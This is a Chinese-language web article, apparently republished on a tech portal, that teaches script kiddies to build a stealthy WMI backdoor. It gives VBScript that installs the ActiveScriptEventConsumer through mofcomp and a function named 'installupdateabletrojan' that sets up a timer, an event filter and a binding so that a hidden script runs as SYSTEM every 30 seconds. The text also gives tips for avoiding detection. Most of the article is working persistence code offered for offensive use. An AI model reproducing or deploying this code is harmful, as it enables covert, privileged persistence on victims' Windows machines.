当前位置: 移动技术网 > 网络运营>安全>网站安全 > 利用WMI打造完美三无后门(scrcons.exe)

利用WMI打造完美三无后门(scrcons.exe)

2018年03月04日  | 移动技术网网络运营  | 我要评论
来源:菠萝的菠萝格

welcome!各位scriptkid,欢迎来到脚本世界。

今天忙了一天,比较累。不废话那么多了,切入正题。

这个“三无”后门的核心就是wmi中的永久事件消费者activescripteventconsumer(以下简称asec)。wmi中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 commandlineeventconsumer等等

asec是wmi中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的js/vbs脚本。

先来看一下其原型:

复制代码
代码如下:

class activescripteventconsumer : __eventconsumer
{
uint8 creatorsid = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的creatorsid 只读
uint32 killtimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止
string machinename;
uint32 maximumqueuesize;
string name; //自定义的事件消费者的名字。
string scriptingengine; //用于解释脚本的脚本引擎。vbscript或者jscript
string scriptfilename; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。
string scripttext; //用于执行的脚本代码。与scriptfilename不共戴天。有你没我,有我没你
};

asec的安装

对于xp以后的系统来说,asec已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有asec的 mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器 的话,还得在其他的名称空间中安装asec。来看一下在2000/xp/vista下安装asec到root\cimv2的代码。

复制代码
代码如下:

function installasecforwin2k ’安装asec for windows 2000’
dim asecpath2k
asecpath2k = xshell.expandenvironmentstrings("%windir%\system32\wbem\")
set moffile = fso.opentextfile(asecpath2k&"scrcons.mof",1,false)
mofcontent = moffile.readall
moffile.close
mofcontent = replace(mofcontent,"\\default","\\cimv2",1,1) ‘替换默认的名称空间
tempmoffile=asecpath2k&"temp.mof"
set tempmof=fso.createtextfile(tempmoffile,false,true)
tempmof.write mofcontent
tempmof.close
xshell.run "mofcomp.exe -n:root\cimv2 "&tempmoffile,0,true
fso.deletefile(tempmoffile)
asecstatus = "ready"
’wscript.echo "asecforwin2k install ok!"
end function
function installasecforwinxp ’安装asec for windows xp’
dim asecpathxp
xpasecpath = xshell.expandenvironmentstrings("%windir%\system32\wbem\")
xshell.run "mofcomp.exe -n:root\cimv2 "&xpasecpath&"scrcons.mof",0,true ’直接运行安装即可
asecstatus = "ready"
’wscript.echo "asecforwinxp install ok!"
end function
function installasecforvista ’安装asec for windows vista’
dim asecpath2k
asecpath2k = xshell.expandenvironmentstrings("%windir%\system32\wbem\")
set f = fso.getfile(asecpath2k&"scrcons.mof")
set moffile = f.openastextstream(1,-2)
’set moffile = fso.opentextfile(asecpath2k&"scrcons.mof",1,false)
mofcontent = moffile.readall
moffile.close
mofcontent = replace(mofcontent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错
tempmoffile=asecpath2k&"temp.mof"
set tempmof=fso.createtextfile(tempmoffile,false,true)
tempmof.write mofcontent
tempmof.close
xshell.run "mofcomp.exe -n:root\cimv2 "&tempmoffile,0,true
fso.deletefile(tempmoffile)
asecstatus = "ready"
’wscript.echo "asecforwinvista install ok!"
end function

再来看一个绑定事件和asec的实例。


复制代码
代码如下:

function installupdateabletrojan
wmilink="winmgmts:\\.\root\cimv2:" //asec所在的名称空间
trojanname="scriptkids" //自定义的消费者名字,也就是你的后门的名字
trojanruntimer=30000 //自定义的脚本运行间隔
strtxt="" //自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被windows编码后写入cim存储库
’配置事件消费者’
set asec=getobject(wmilink&"activescripteventconsumer").spawninstance_
asec.name=trojanname&"_consumer"
asec.scriptingengine="vbscript"
asec.scripttext=strtxt
set asecpath=asec.put_
’配置计时器’
set wmitimer=getobject(wmilink&"__intervaltimerinstruction").spawninstance_
wmitimer.timerid=trojanname&"_wmitimer"
wmitimer.intervalbetweenevents=trojanruntimer
wmitimer.skipifpassed=false
wmitimer.put_
’配置事件过滤器’
set eventfilter=getobject(wmilink&"__eventfilter").spawninstance_
eventfilter.name=trojanname&"_filter"
eventfilter.query="select * from __timerevent where timerid="""&trojanname&"_wmitimer"""
eventfilter.querylanguage="wql"
set filterpath=eventfilter.put_
’绑定消费者和过滤器’
set binds=getobject(wmilink&"__filtertoconsumerbinding").spawninstance_
binds.consumer=asecpath.path
binds.filter=filterpath.path
binds.put_
end function


以上代码的含义就是当我们自定义的一个计时器事件发生时,会被我们所配置的事件过滤器捕获到,并触发与过滤器绑定的消费者,也就是我们自定义了脚本的asec。达到我们每隔30秒执行一次我们自定义的脚本的目的。很简单吧:)

最后要说的是,我们自定义的脚本运行时,是由系统自带的scrcons.exe作为脚本宿主进行解析,而scrcons.exe是由系统以 system权限启动的,也就是说,我们的脚本是以system权限执行,并且其所创建的任意进程都会继承system权限。美中不足的就是,每当脚本执 行时,会平白多出一个scrcons.exe的系统进程。这也是这个脚本后门目前最容易被发现的一个弱点。不过,当这个脚本24小时才运行一次时,有多少 人会注意到呢?

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网